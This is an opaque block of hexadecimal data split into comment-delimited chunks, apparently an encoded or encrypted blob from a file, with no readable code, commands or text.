43fc46d27d8ac93848a6889ed36c486a462d07915d7647ea66b24862f24298abc4744bb1f146cdb774456be2ff822ccb8cb68a48f87f942ea06fd6ecf47a3b662a8f69ae43da0497603604b86fff7f606dea542076e32fd5a15dbcc10bc48f4a1815ddb200000e85ab618669c90f21e10ad4a4009d0b5d2dc641ea2eab9891dd9e0fa326175da314534ee43bc5cccce5f92e052ec4e592ff43027ffdc4b74fb9838889cc5f85bf0da7203011b921d6f3fc36737f4ed0778262a52c5e3786063381c9cc38f74f2e40f391dff51a2c7c0ad51b1accd25c3a23cc67af93c65b8763c8e003e4c27536588029aa9df0a2a23972fa3ccfd490d23089571c88e143d52e3780eb0394a7f32f5542579c23e7f96d7a35f95f0f18a84bc0f154c8b8a60b12b7ac48b5acc1b24dc8dab6a7de15bb041a870649c9456ebe7df970813e9993f77722aca2f85a78772c7877e81ac9243a6e5cd70a55e27b2039cc88a33841a5ccaf2cd25bf276272b962007a6cd549efb8a23c05ca76ba473c445cbbc10fca4101a2765d53a066910ea8ce968adbe4e9d6d9c7720aca16b952b3467f0495769f5de4bbae995a466b9788972f7e4cd4ef39f54ef9f0ef5395cfa4467769610729bc2092854aed226c2d3a586294690ae3fb573a99cc8171dabeb716713efadd1b4bdeeaa099a3f56b2803f93f0ba71573b028638eeeb46959d9ea889fa86e77042a19063ddd8bbfa0bd771ed21*/
/*8f1f9f81b8e19121a31509e7fdbaa3067a0cfbc87f712ee0872201c01eae8e67d1f1231ee57161f9b9199c3c10aded7472c952f38495dd63ed938ac441797036f93d77bea3381ae92c0c19bef273b7d2c511b4ea5519be2d582d2356f434d2d42d4971a0b94c7cc1eb6bc8e1907ffbf4b6b3d09396732b37bbe2295bcf78781f329fcd3e606be9181de61a677911a6506a8f7f89cc3bcfe56d6836bcf112bd703529cc9d77df52e1b2d2db67494c7c832ea7d54806651032f66562867b2af6ab6c3c7cd39e4ca2bec0ceb573e4c662ee2e111d50f24fe794c36fd581ab92e8d7fe9802cb17b141135da8295a0e7db103a8425ffa349d24c7a2f21cf8ab98e5553fee87460b7bb5076b1d195eb95723bc1ee96c14c2558de8b20d468dc34f4dd1ce3f479d9a2c4de168bda7985644b8f172802dbf245d995ab20741c54dae70ee89186ef5c2dca3a535f3cec58155ce06779dd446403b95d29cdf9e8afa5232551ece88f48537222f7475123d0e5a47b8611269efb4d5751ac0c04fe8ffb03361273d117c377caaacce30bfddb7a3bd1415bcc290cb1f6c3921d203569cb0d5bd89cf1f005f89acd5ec6da315c402e58675e2d1c7a74a477001323f6d04d8534306e591477dd9861089d3a321d6b1808483f2a8ca814620dedf1f9ef1f736383f0bd66f829c95eab9ec7e42612a0095a93e0fb7fe92f0f042583426912f3d9611b3807830569b1aed07b9ff411abfa51231305c4c2daac115966914ab72a6e6f5c070767bba815c770229770112a9cabb03a5a2ef646bf5bae3aa76ed0cdf68072b5a37800ea13b21f55843900978d2a1738fcb4c9c84706fae3a626df677639d76b8d3b0824821d24d846f03f3b604c0663d15c265b6515489a733699d18be6280981377ad08b9bb52c1a716cad3ba6548be10c936b6ac41e4be91d1d970a250425aaa02066f2e53c59cbeac7f28b219c18f76c2366a82a4a573929358bea50f523e687eee6d546c4b8460c8268a9b7874ceb41c86a2b050cbe6e6937883caebf70801cf6fd45479c42d9a29ce0ecfc88f24fd5367a79b543ea92f44b0419883fb70d846b96dc24e9987a08a8f3f5145fe58e9a8bb3cbdd995d3fde52c89c60c410cc65e62ba89a69f711dc28209f62b4705bc2acc24d456b45d9579f796fec4175f6e5dd94de440a3810017f4a1ad32ea3b0e7eb87ebb2246a86abe12ed4a58b14f7594be036c545eae2f142d709a92a965b6aa3db80c5743bf6507e750feabed299705e55dcdc11e52ce76a52cfbf5da457dcdd4811d7f26fb7127972a323af7bbf8db8e43f848d996d586fef901e07c7fbbb97e767781cec8a95cc23377d1d7a12406ac5497b8becf3126ebc731d45d6d92298752b02ba8c4f971103c26e6bb6ba71baa4b28782b13508635075f2f896dea7b5bb7123a7aa64580332fff017d32598198376ff96413a18af2ae099ee7fdab9682278500e1d5b5336fb820ec00e468b5892d4d158bdaf459a38484938d27f3ba6596b3984cc9d87508a4160736fea62d9c2bb3141d1f9793633a4ceb198062755931fa470d2e1c20feb83cd084ef7233d7247745dfda94e468b531284bc921d6375d8288fbee6d763dc0b97545032be57b5ec3ede1b258713af33ca00d1c3c556db22810dea6ebb1c78f1ff071379c162df8212a1d827523f49a1f48e65c09e907ac0163cddfe8fcf65f4087817fb864f53469b9118b95e7e94a43477d594890c87a94842a1d2e60ca5c6942ddad941089837c81569b8ab9142eb79a8f1e77245bf44b88432b637e0b872ad2b363bfccaddcc1388f8b5729fe3dff64f4fc989c6f085cb199a7caf90b617bea0fdce9f5c1d028aca1513f7b5db87511893f79eb70ef9502a0c180ec853fbe73f14e8e617d28a7954f4947dd69880d349a1f4d53c84b75713bfdd3bbafdf74b4bdbca5b61d69cdfa49dc5cc09cfb9ddda27ee85528c6980861f91733a59fb9881ed07c8945856d7f8ae22c872e0404d2fceaf22d438afd2579a066e402289fa140b92b4fc7dba4c9ad36d3da8541fe33128e83b5cf7006536436b05fbfe82c8d7b712ac962d7c787215b65c6e5f9b281cfd89fea53ea657c5b998f8cfcd167a9b6738b5045b5adaccbb239ff220bc18f5e8ff9e458fcef06175280874a6d49326b4af9332c849b623b64bdd801b78f886d4ca8435fde9c6489b22e78aefb6f25883678641fae3796374391d494265e464352853e62facc015651b255000b898b33e1ea00080cf66f8da615147dd68b8f3c20d4fb1675dba0098ef735674e4b5f86d17132691ae6b5c52c57d7ee4aa0bd44a5a8bac4cc3b001d26107735dfb0afc07e7202576a35558d7a7b7bfd8055861fb1020f2891730e6daa1c8515f871f74343048a457637b55e9cfc7bfc41146d2a92a51fd793eff0d6775d059b7c29eef891ac1ef0c9acf01b06aebb8b59bd7febc10669159195456ddf83667c72d2aba64a8787a3833c6d25715204ad03c091a8c6141d2fdabde133c81b629b4d078cc53ec7bd6b7e919589cc6d21dd29f9cf856e12b1c6515dd52560ed149bee7762c3af9afb2f5f6203650bb1dd9d445e7797b6d95bdffb0e0a16741ebeac067e4526634391830bf7c6d2ced5633a656c8f7e49a3c184d54f35f7849822260102b24db2da98ee81f850aceab6b49db3d7daec814a56f704b655615af157061cd456fd138ffe0f893ee2bd062881dafb02ce222c0798f0883d529eb1780a5890f19a4e6a119d3ae049cf9e008211865490b2aab7b41f11e3f750cfd44b6871ef6c3f9e4f9ee6eaa6e7a38bf8e1a3cf1a5a29*/
/*792bfbbf4148d54ff8cef22143be23a652c89d7a552f63c3c31528464fedfc75d1f956c54aead5b4bae47e90769a2d5dc1d69db5fa2dd8d7a5f5795e618074754d642aab4b743e86345a71803cc8f7582fbfd9983fb29402b43ed58891159537618ee515d4146cbcb3244a2f033b0d803a474c5a7197194253b0b211ed15ce0275d589c7d98537ac1c0db661d8b488c774147ce179273c71ef223c92a678114ed003ca578c3803a0934008e7e4b0ce182354358f1bf1cf10b94fe5ca8e2d7f48b8b91e4d045356a495de260264d2078d5ec7ee8931719c81583a7982ecdf8cb2f0a1db128f858646d8600dae8825a287958f63fd53e29e59a74c0234c02112be7dbddce726a5a69dc79b39cdbf3530c30a5f1d8638ad856c484735ac5bdb5c25589ae4407b47e5c50b3316434f503c0ad5cb525b4efb5be6278a19a640643a1c4f52b392b8028d813155b8ec6c7c4b659c91bef1bf3493f583b167041480d24236ab066f7677605f7c78aed1a6a859298c61dc94b453ae3f8b01da86eedd79b9363dc6e93cec7b1f4a868ce25e8fbc9ec3c53cd6106fd3a52ec599067529f407e9beaba7a7d057c41eb1a43db9dc700fc23e6aee1889b448decf0e37d5d734ab029d1c2a85542db7ec93e48e7ad16ac5013d6713491e48be714a2d4790aab09426c1a0a6465d46a325bedc3e3426a5c1a394caba529e8d8e0f439db4846dade451042d4d3561081b822c946810440b9fbab5e2990c2bc1543b98f6b3847ea88a840895b81251c748f2b007cdf5dcb2b8a5a75b4f09e13ded409b53f479326d4d2129c582bcfc5a98a1550c841514634d6e874de7aca25ec91789875bda977b37d4984a82d6e9b0c23d6a8ad4e7b827a728a3bb2a2731f664a791535a6965a32284b95dbf186f552da29e3c4f3fbe3a439a1ebff2862cdd2f9e46ea1894ec49de4fe81d0e56e26b1c2bdccd470f1bc8bb628d72147f35e7607be9368ac98cbe220f759ca461c1860580141eb2e7304f7a4373375cf382489d382375e91dcc8747a251caa5ea7bc89f090a83264aaaf1218b4d8a07f37abb09b1b07c8a4c1fb44d51be89996eb71a54f7cf45fef9eb63a36bc1ec63ee3af6b2fb353428531956f03ff15f79cdefb6f750621142aa561fbf24c3a5f29f6d97702e29a5d94d8c1f542e38251c21add94cdd25602bee4930f129ccd8c54743e7bcbde36e7471179fa57277af9d70d6c190eab33a20ec3c575b715974d4a59002c26503bfe86a567fa3c44fb75968cf130e11a569badab5525ded8899bd7e31fbb5186a68d95e0249c0b6520b74605524d9257bf5bf91c7aff847a59ef67b5f802f02116278d93f6a0bc795235eae3b6d45b82fd47bf8486042611a053be10b1d438c2d38affa0439f2567e867b1dcef0cd6721fec687f776287456a69efbce0538577e2c319bb0942e0caf34b1e7aafb71994c79bef2c9baf071fa656a55119f8afb3d1080a53dd47445d6bfce991f9eba9e7aaa4ea3e231a6041429abda50e706f379876d75af4cd16201c3445118a113f0ebf912b4c6eb404146be4ecabdc8caabd54e75d1cc8fef78c24acd4df92e48d570da3724f9f6a0448388714e4f0cd987410e162bf01ed0d74d88853f9f9f201eb6aa64253c1a00f7d7f58158917254e401e53a130cb336d10e0a8181326796e62ea3af12b4524dc2af0cbdaa2f11c927fcc093f3ce26ce1c5d717b06ff41e3eff924b700d320d3bccf55e3eddffe2f66b51a89eb4c9fb128340860390365793b31c7d87db096216a166d6d03e8aea2b2d31bba3fe38f7e895c3add5a6342f29dd822fa602eadd0db05c99789afcef0a2545a4bfdb3fc6527bd86129c4d7dd3146674791e94e28dbe507325376c994763eeadd058d26e99421875d6d1aff161d195846871698110ec753abe0b539eb0eea4955e8a81b9fd3d314c8a3470d53c18d417cddeefae80c9b9912d7e01e38a5b5505068d24db0b7810b0feba3a5beed5ada6ead30343e3ee47fb908dbd9baf603ba9d77993b03b2ceed63cb2d42c056d833efe68e5306cfff00d10deda1640fe6b8f19641b985244a60a1022b43a49fbeae76b9aa7972a2dee6b00b9866675db21ea750558e8e21331e645e2ce8e0d001ad77a06ba7e853dbdd74ef1ddf035c6465e29b28d5d0413075721b9f0f49c99752a8bfbc0718a9d72ce64c79704d183adc9b23677783c2aa5be2f95ab4825f01ef446a3133b7c30d01f52d076a9261626c2178aaa438de7304b69a5bddb78d650d3dea9ada5a5c10862535c50f637e39bbf1fb4f28faa2e915f5f014017966cb8062df2a3559dfe662fce75224ca961a249a6342ccf43ad3136595be9eb90726b8391f9371e4b752f43d36d8f650bd8318003e547cacf2dd9e319ba4ac250c4b01329d056766614563a85151dec9d140853b93a8d056f6062799ececcb7fc3bec5cfc085555552605c4e4af07fe78ee7a39e419ba126876d1af5da31838834c4820013c6b36a0517e8e1a2c7266809f39225e9602ee1cd1ca9a40d2285a5f09f0582f070e21629f7484de2041d5fbbd24b3826c1e59b5d520c6d997bab2aa6da1cf148e2463b68bf76e022809f9083c9e1b416711da5c7ee0517355673ad87bf7566f452b68629b6d0987381d4b017f27d143d6a043cda70d5073a66777f95faced60dfc2cc2fff231c05152e88e2e755c1b6d5a6ce7d256f886508bd93bbf96890f4097002772965fa34bdb3ac446ad763cd86601f1e212d5efda37d395f5c05ca950a75bcb5e5964d03eeb5e5b8487da423458359f14974bd979aa49ac85287abfbc7087211*/
/*87a6b1199b991707ca343039c04f584a14cc58d1d985d09b7d8bc6dde645b69002da42a9f0acfd7fda9794380fd277e0a960363333e2c1d8be0ab207383daf90a1d464cf5d79af35efb4e492df78d76f2708f619d2ba5f09e3eb8d8ea959f025363d4df0d99c2351ce59f95b533f08f88747530fcbf08d0e0833a2300531ea40f230a4dbaf26cd873112a3309d020c6133f1b6b88a503382a3b309b1b7684c7d281825a7d0bfb44fa1de020282d72e12939446f8fa2a8d0a43fadfe0c505207890687a3ef954f5e4a0dcdba7e1aab9cbc4cf2eecd8405d1579e5d8622bf334980bf9c5998bb6f145e8392c8bc3ab804929dc31ef3a67fb7bd0efbbea0bf61c530f709ee95907644d66a138b64f6782201a461c63f931e86f1f149b36097403ea44d839cdb34584bd6a37587fa0c2e7dce3f80db5d546827bb9411d8a1fb602be321cf289439a8049dc8bacc95c35ca8157bc87bf5dd3bfbd66c16033f38816d547165b4a0e0cb980da2a2c1d8aa1f723795f5f4fb5c3fe3d707b2605a3755351eff58cabf2164062abcb32a19e0eafcb3e15a6f15802f879948e9bded2aa2cdb49cb36d97ab4c6b5e1fb72f6b4dd7a473d95652ffad40c0d1ccdcc152e58bb1245fa177936101591accecd5ea7480495a48a7b32bc924a019ad361f76b737188fe2e34b624038b55f30981a205b3bdbea5c6108e0997df7d8c660cc01d70f019db5696a614f40404ad418d89d57ed4fbea6069a060e7452fb32ad617c87be1cb5df39594839b80e017199ec84f6f0f7e93845122a9a22d954778f327f38d03de80d3f5184c0577ca9a23c19f83fa24aa0b03d5b75f308370f5cf3c519723382d7862911d5324dba95202de5c3fc954d691bbf97895c679f54f37cc31b2704b6a53cdedcb6fe9edcd4fe0bf9f1c6e415613b26950eeb9ada59a2e42dc8059b9acae9684b815a42d07309005f0f6ae99876af47ba8db455ffc74a4ce11e898935e9358d3c8a9d7af1490cfccd2da81bc78f9d34abf87e61d22fec547c886c5e2d80daa91859a5e679f2f88f87a3f99f234d0d2d091c976ab64936047543052c34ab698c68a12bc444eabee2a0bf0a3f507969e30df3682335f93d417e2023dc0cdad11a0ffa07e0fd39593c13b239c452398308e83259c737904b24a6edff1f3b9c71964eb3e09ec402ccd1999df4bf5f2a3492122c9904aa010c0acc52e773ec081ff59ac1878f451e04da892f6b4027d7b2fd4705e8b1f78692e1d7d2a5a8fee7a1e833638b92e4bfd65aca3a55d9ae68f5072260d67310fda0d27bad5755289341c687b8c28190b62d932687defb5eb3d81b89b2ddc9c2460b5b35b55fe28312d8e9d5bf05af66f6e98368ee17a813f548d68b217fa132fa8c6d0b44e9c962cd4698a5375b8b06fcf85804503783b8a5aafba32709c0381a4ad394eafcd042e11a9f34560eaead1d953a306e205215a93cac8f0f8f3bc692e7258608cf02d1bbb6ea311338f870faf6868da761a9a9338ec4333a6ad4109e26089cafc768ec1e0ba20cfd0a2f31a0432d3cb4e88a724d41906ca1d1a3901cbd398d338ed4256242bf9d86f469118186faa4686a10ec839a6ae118e3e36ad24a4de7312a521ab639279d1659777adc0e6f518165e8dbd04e856a39f5aad8f4c07ed3002617e2e43f894f4b977570a7c2eccb5e8d1fdb4fc4ef8b2ce5808fd825e56328da4eb43457b4831469bf29ad103f1772c7c9de6cf83bf3c91281ffd50517a2ac9ac80f5976030a8a862a804c34d19591d55781a8f44ccadff56a53d4c36e6c0b6b379eed2c12d951194ae38b287e120ba6d8f364220fb261166c393c452ef9e179a1e277a2a86d45f18de44126201ca3d23e52cfdd8f4ffadb1883a1cbc00b352832f32470552a5516a0680225a97887f98a4cc307e93f3980765830fcb31cc57fce9a0446b4bd7aa521b338e057e7a978ae10c10b48bb99ad61ba721eee661382d7720f46daf61f656cd19343a759a0f38deaca86591f0f5c777bf7d3905b856db3b484b6d5582ee39595689d48b8c01954282694a2ab986ce0d91e1f7bda304b5223dd387a89949b70c1b81723b85534c0fd4a5d39f3803b3f569fed43d4d3aaa305d537b9c9b252550d31760024b60d62096a6ca7faf923cbda97ea02868d0d91433ea21bc93ac02a16b0e4fbe8d31cb2a27a1a5640313d0a1da73d74b8373cae913af892762a8ea1a47469389bb3ca87b32d9062b9ee31d54aa372d301688b63121a8d0931d294b5b542b4791d19af4d3426cdb0affa00b018750fc7e4fdcd43004475796a1f2d00a1c10d79308f86e71e310685499c54425c0b908572e7a50472776b21a7bae9a3bc95e36b7f54979a3b8ac3b1711e3971bbe7f112327104a42d059787894d736b4e9ead3c692f54e3c3d12e1a3275a0f3b07ba25a3d702278fed7aec5b0c94dafe7e6b27a51882912c2ff1d263d96e0b72e5af7cb1eac7e8aa1537a47202f1bd0cedce840793f172a1556b01c6db273f2f1013d172742d0490f8befdac5098dce84b82ffcbd23483e254b34a555e4020b36df3e6f02d8fa8baab128c902b2d101aa6d224a6ff2c49d24e11c3b4423d4f473336d7393f180bdf75af6b51540fa3426f31f86798f0cd21565a553a6df22c371ea520dcc71bd37d23f77fc72057530e7fe207bc92be005b15a31a7d78f098eee28ae9a789a373dd5a5b676affb0e3d6fa285ac281eed29b346c16fc3a7641f5d722f18f389e4b3c6067f51bf635688bb03a26a71e82a4a4891d2d6174773cce7d426766e0ad9a15bedd60006f8f774c84e2dfa2f578162238*/
/*54a38d8058b4dc0ff9c7863938c2c05a2985db60b71b2b43473541d123d7a1722c48841509394e26fba3f06a50cf0371800e8c2d4bd9029601a65f68cd3858bcbf0a0fb8ac142da46051128fe6360a2e9f06bc9e1af96c7ebc1c935efd8ff07b1c5707e6d0e7484a0b5a3a150ad969b71145241e366a67dab7d8cc5eff0deb404665f8a2b1b016ec96c7ebca643a631bcef8614de279c04080dc4599a826355a19f39bf95656fb818478326758d363a5ae2ff45d8ef4a7f5deed666d963bf34beba719463a47222ba4c3df095049ac444352e7c1bdbc9a8014fc7f3c9c5a79dbed48c7c9ca4b687f8c63ff48544d70d6fa934dbd23fbfdacc699d30d79bfaf13780db466aea2858b1dc050802f90788abd1fd89e23e876f10af14b7fcf7243083f48a4fc510abb0e9dbc133c9e17bbe6a45815d3dcd7626143ce81b370299c89fc2905e1277165bac4661905bdcdccc2bf4fa6bedad546f742d5b997e358b03da024497bbf49a871f3cb3962c96629d5640a0ba711f69ec96510420e6a6870afe73bc1c6f1e95a51590d8baf6753085aad7c0cc73737cece96446d7575de860d74bb2aaf477e4b6937443e9c9db41c911c456fd4f3b1280b116afc37d924b2e509a07df23c1f98c3ca0fa286064c664819a825e0c552e3d80bf8e668c61f9d95e1790cf3c494c9e8e4028239e40301cba92e33a5edde73d99ee4da7701f85ec5b19fc0f88bfaf36e5358811354c786954c44daad100966746cd33d863226f6c80f679a225c35fe33edfd61938b3c633070817a6df4e7aad0e7019efa3a5aa737e6e199b03afaefcfef51ff02a4d5cbc0538dff25e5ef6b5de204065e893f4c13bb02d6b0a98f6a28195c6b0014e852a23a049342bcad5e81bd553273dfc5b83c50e68da7ccbd77bfdf4b163349920bb0ea9bc3e190b7c7bd37aab1a7e5e1ca27a44e1675eed48441c0da94aeaa3036bd4b68f58c0cf48eecd03f9e3655aae3b77a42f0df5905a7cba35e0bb47e4f9fe832d31d80e97c7e3ff2dced84138835a3e3f2cdc26dc0f9d8730fd2ec732d6926dd1c6813bfbf487536b99d7cd585c791233479aabc5bf628fb15c0bcf596925b6101d07d31490821556d85a265581bcd1721c99f65bd10268f15a6728ca34530db9ecd52e7d5c61706e82f1b4e77655308add1ca90189f0088575b720deed6567377a1eacc417855ca61165244df042905b2dc870e7a15b673de742cf5ef40050b4a679cae2c05a8218b761cd3c65b718ee38a0e1aaf356164ce726475f68dd73e2e8240a8ac4028edbac1238f740c6c3970ff668ee9fed737c7127dbbc3e125a29e039ade42c82e4a26feb371c00e5db542d3b0202f9c11a0d905a3f0b976bf5c6d7571c117da294b801639bb7a680bd52401bf15e4735b5dfa70391c64dce87a91f1443790bcdf5d062772991cf313c291275a4710631feac34812009f3503338fe4d3dc74c7af64e375f1edf672a009ebafefd0f5e541c649e75b21c33b4cc4c447e650d22ad114f2379f54bdefad0a98940ab45c87f88e1de375efd4a4e1228cb8e14debfc22fff9b00658bcb2b541e44785a1b9db92f58ec482247558ed4bc96d67a1f2a22f50e27398c27992f5200f21ff223982f458f4d013ffecdaedced56d435f12a82c3b9371ab3f5dffc6308e9d4c172660be3fd33cb61dfcf83986d78d39bda64a88ed848e146cb7ef0d57a19fa96865567844bf6890f8a634a4b7f4fd4c43c1c8c6858bdd7da619c2fe16f4d8d7dc9a666516a81647256c912fd40eb2dc62bbcf5f3ff8ade4d4b7d2cc16565a77e08a7b75d2494415c5038c49d771e645af20c8dc30c7ea6a5c9bdf18f9fb2b38f5b2181ee9cd8ef0f27979e5cecb5d95c18e146c2020257cf99332267ac3a06c4eb2611d276c552fe950b08387cb1dc40e2da7ea2b4e2fcbbc37c531913393006086f23def471db3548f20cb18e88d6342cbf2863bb6ee3ecd01554f1b36497c91a89367101913731cc1517de87f4c0f4719db43283f9428610b638ac29824756d1de2afa2c7c70df18dfdfb06fbe4477dd0823211dacabb6106eecf49ef96291ff9fe70d85e9d55f7677106744a79e3efab3f83b337846070f6e6261fb94224badb745d53bccd63c296579a0069fc1d4b8a10e8397d8c95c57adee0de90667ed1dcf4d1ff452d52ca220c3ed0f8a346935fdade6cb4623e051337357a4176446a0a8d6ee0e96a2b80adce6f6b363b2712e496f6dad57325e373d2eea7e69275d9e4436b4356f937dbaa9e4fd0d5eefe835da3415b5acdb6a15d87f734fb4c4e156678dfad14f5beb6bfef87ea6980162f47fc8d02f57ed5636727fd8fdc0b1caed5070a5ceed750fdce8eea235a8268623be286ce3e4371ff44d5a6f9a9e1840a363807b3c7f49a8b61aba9aee2d09bc59b39e70fa5ee9b229c4afe3473b95c386c9e8ab7b7518e4e1f9706a4a803a17ae5fe9c87d79aacb9f0539b7b487b9e1358848f873e4ee801b2aec79bd3a3cc58be757b6a45cddb8f985c6bdb52d5bc04b7f92aafb6c81abcbeef831816fa9ec700d0e6483e1ca12e6d64cb8087af75fbc50c5fac3b21e8a46e43be946e5d12afb348f6caad9dd8d91162c598504e43b73183e654d313a0fa8fd3ee5a2a2badb95b068333dd11f806de5016319c5058ebbf818549417c2282fdc318c6c50de790a6a15184379821bccb7e80376912fdc2e286ae17c3acc60b5215711ab977d5e92c49b2ce6a8159bcdd05e117a812a384eacbb3fc3a2ae950c64c550f848784c9433dbbc765a917b5a8eca1e2add1ebdc2933f2da94bca6d96635eb*/
/*138a51b49c9dc38c735c4d0e0a54a3479d27501b7ff5ab6250ce9774ad4ab456330f3334fa3603af8b13d4c4d8cbd7124e918303333403cbb1b00eb5b220d4bfb04d219315042fc3e02fd9fed58ee94aea2abf9755a6854965c996f369ef9048c7d3347bd73d0bbde6a7555c6c99fa24566eb7143afd04bde926c27bf30ed064c18bd8e5a6be841ae9667e321931a4d8ff8397c71afe8abb1e3dbffc1064e47a30d91d90396e0bc7f1c3335c227a1eda6e5a473218abda2ccee6c24b5587578ab35e0fd6a303b88660363e59c0aaf70b1edc40e55d0fcd1e8ddde64764b2052f53f77c354181e42a9980674a8202c1d968f2a5dd2d76d2dbc1db4952367585e9338f0a7fdbc3eb8635a952472f670ce945547e91e6e03bffa61535a25146661fa86529bf002c2bc88a9d7e9e6075141f293e085682fd3de14a52c2a1f09faa7822017b0723f5b63d2d72c89592d03ed67e83b904f8058bc54e17170e0fbd4cf1c96a2b7b8c860454e05c31e1da05d6bb19e9ac8fd6e962cded4cc812460fc6e92d4faa35aa3fb6a679b413eb1a60b00a4b44e272789199dca5e81837ccd2c11c1fe3cc0d77fc8d922dbcde72b44d91e1585d451cf411ee1fd4b6f96739af237c37650d86afac3f93f65b57a51a63b677dfa1fa8cdcec1852f6e5cf7295a9330d2add92e6fed0c1406404a32b71a2da59c8fe041d60227c119d4ede4ffe8565eada9d57f167e9eda61dcdf5486a8c777404befba1a178e4d34a76dd61dffd3bb4db5f0015096ae0bcf9e309c10b271b6efce10084b65e4d64a3dab70bf392fb99087ff0294d419971f36f55c87d70d455eafa1a459f77ffb8941855e30b4ca4a37ed5f9d559aae9cc8d45e8e04f25b79cb953dbadfa805aa59713c438735d74477f2d72296955a140a6b7cc0ab30c21583bd80b226861ca8a6111bb0d67c9a2ab8a607fb77150eccefe036d6db011b3c0c893a77a4270f148ab1ecb7983d02dda57763fe55971978a19f867cbe537c755ee53688714d150563271e128d78144a05f210a77897be4b825aec7bacd436ffc23afd06f62a18b501edbf2d4452471bd4d94e7f3e6708152acd1cb3892802269f064672f2269c1ac1ca22e223b8a18fd6f57a7b40c8edee753a9f57e004056f231e9af846b5d66df7663c24de83221039b8d82e8b0dc1f3fe1fbdd6fec45b0cab7d428f12fe0f2bd79d9c0c216de99abf60aa26ce7e44adca9fefca029e06b1e53d7288103cf2f57502b32f8b3a6b5ac092e27c87c14545094ac39318844731b6a2577109e233c9dc7c8e1f1ff6384056ea853aee5c4a9c7ed4f0508e73c14ddd24277f069ffdbc2cd2df1815bcdb774b4204b52245aa5e6ffc173aef8e0b19dbb498abeaf811e127effd0b8f69b4c5a87055ef1dd5725f516e9b3e872a0193e591d51d19ca25107910e91efd782c9490f410a20092fee5bb568b9003c829b1eeb8e59fd1beb087f6c939a5d33552ef797ba340f8e95c01c860764a2db22a16c61e39df4d0037cde8dbae0a35ca41142e942eea8b1a564621ae570444b7c3d19a22f55405f71a0e1548db9d77bb88deb665405a1e65597e549559a88c7e8204b2171e8737f99b354fa94fc4bf0706f49344555918f2022d71cdb5fd6b989280dea3b0d07691109062cc64faccc4b87b1b6dcacc83c1992e21f0640ff41ed55a7a3b1ec3aede4907bf9cb7de2e028b0f37d1cead9b71e4c52fa4fc83a228243bda302fcf9c9eabf96b0d1e6659cb514a0ae0a4f6a0a45039f55bae5f075f279a927a84c60c7c2576934ed8dc763ca69e8e621c4eb5c2098706cf261c863d18314f8de0051aebcf763ad688922367685ceab4cad29fba93f19100ef48133c19da8d3eef425114e6ee2dfcd3c4c8b01d1fc24d3868f1afe04893ecac2ea62f3d20ed1a7f84065f426aa989972073a00bc566fb2b8de681ebcafe1fa591011b47e949c934d428ecd086b2c7d45cb43d3cae2e0b7edd2388827e8918945082ff168abfe914ef5442813b3a5ee5c8eb51074b50a78f903cbdd932d58e8ffd0a478dd31e656399107174f8eb82bd83e419a33632686f91c8beb52f4448fa31a86f1f614f5f0368d77c5a1fb3fe771e80fa76cd30236694e4220745d60ebd5d00c8fd9e0ecc7b4fe08be7bbee3b994800419c519c9e296c76c43504ee0da9b2fb264e29c7b7d88cb76d80d510e8d54f8d36b31b3aae4d6e073ea455c81e52c7ed8cc8e075b77055d3c40b3ce4368dd5e7c5afdbcae150c69ec2028f13896a679786530634054dd5d68b0a834b21c73eda60c489ce75ee3cddf1fed693476c2b3ba555c9aa0fda7517101207731baf2a07c3fb3630450440179fe70eca1dfac15957f6eea496c6378f00e5846214f254c8d7bd95ffe6400ba22ba38b0bf5348f57ce249237a3b4881a9a15571c054434eb28a269de9c75f3a4b51dc035c82f8e5630e8377dcc15d17592d96d95e0cf952fdf4d1a1db0d8d8790bb00bf2d7e3a7f5d27e026e197811a400ed2f98fcddb26cc6d3322521c195077bcd110275f07b7800c129a5c629c9e4820dc25d5fea2087da59424982d029b1eedcc97636a69fcf81fe3ce45ec7543bfd996b0d5297d8f4fee98a80c763ff77c0bf825b16bf20fbf2e3f876f2b2f98ff3c08d5476daef51f08b74d9e2ae2df3f30e3066ffdfa2f731a41f0293ea59b345d7a27187f1a60fe176bdb76f6458b72a2126532c1cfa5c962350256483560a4aeecd5ec7b4e93368ddbb5b56ef856674d0f5cefea4d4b56af02510261e0b7f56c0655998de743332a6e46071f10f0325bc92bac3e7b1d6b529473*/
/*76cab713d90b8b6a11c0268d0a2a7089d5e5226219343a792312d9f6f1d9aeac7af3b5a46ef4fde722d15312d950e3c282d175831d18eb08731a57f1cf40ac736e8d9a48712b5d27cdd2c5f1eb1af25c57b2eccac460a6002d6edf5df485bbf380fac5ad24af695af74fefb2b92f9a230362ea382eff67f1b9b1de22eb6805ca814392f73697a970bf3a70a07d72abc298479c5c6bb86eca49cbd3ff548dbce328f7e163ca334da0933c739752fa79136db6093b0b10079d36cc59219dd81b850ecaa33210ace5b7dd5fb14b376d62ac108301dd5c9990dfca969fa2d62995c740a5f6882a6d511a557156d8ea4dc874b9e22876ee0154f57d71803169a945fd9b808b0a46869739b21a5ccca45c6a776e88c9c208ed6c394f4390245cacd91f5f0c76c0958749d4149df3c271987540b4dd6c292eee5c2836698657e321342983929db5ec05a6a1e3f968bbdc776e1b2912cdd8bce30cea2b7db2afb47ec2acce01f86c32249125a0dd48a947decaaf2d2fdaed5c80579a86683af45dd2231a921ffc57b46f52ede263679461e9dc3d4d6911027de611cdcdee26994b4b96461b4fafdc98c970c31370df21a7d174dcfcfc01269404d562cbcc472aa38268dcfeaadb9295dfc4f047e15e094b44e22ebfb5c70b45f01a6037223fc7eac6027d1e5be0cf56c7f6f327a73a038be46a2b303c713e0b246a4475c788bd48597a784c1da584a50fd41a7ebff443459dea0a3d9ebb47d9f99e9a6638bea679faac44e4fa32a4778c5fc25ecde060906e645c6482cd54a1a14da17c7470ce967045760c5960913bb4a2a7561c124ef2092bc6ae4a0947fe160ae55386c87446f2911c533f3abf21598b318912bd3ee422e4ba84fb265779fddc8185d35b4db14a0e960b929124193a109065235ff076737cfb1d04c9bd0d98e5440860aad3cc61f5ab4052071ce214b3da16a0c09e65385b364231b9373dfa7168bbc37b3fad7bec5b334ae8085b38d42108d86b6a3e91e415fd2a3fae344367f18bcdd788c3f3f9228c3ad2ab0724010ecdbdf6f4cb0feb1d9ebb6d2512a71e344e3812cf273297d61320920d75c5990bb631f90160126ba9377d9dd4cf30dbdb63e275e4dcb96a26170bd3cd8f872fdfaaeb9db0dc73232045cd42a92efae4ca5cbf70d1efa7da1b78ca193b6e8ef7e14bf49db0d23e85c7d5f817472b0de65d0b9548c27bd4e79b944084c60efcba3cd3f0aea1128d1789954cb05b32f01c6666bcf020967f432a1b8deec9d78dbe5021195353b423063c6c3f7a9a92bc63ab12686c5b432935ed08f04e2a644bc64fd57f356855b88f7757291ada17ae6ef854955a4d8e3bfe1897b2e89e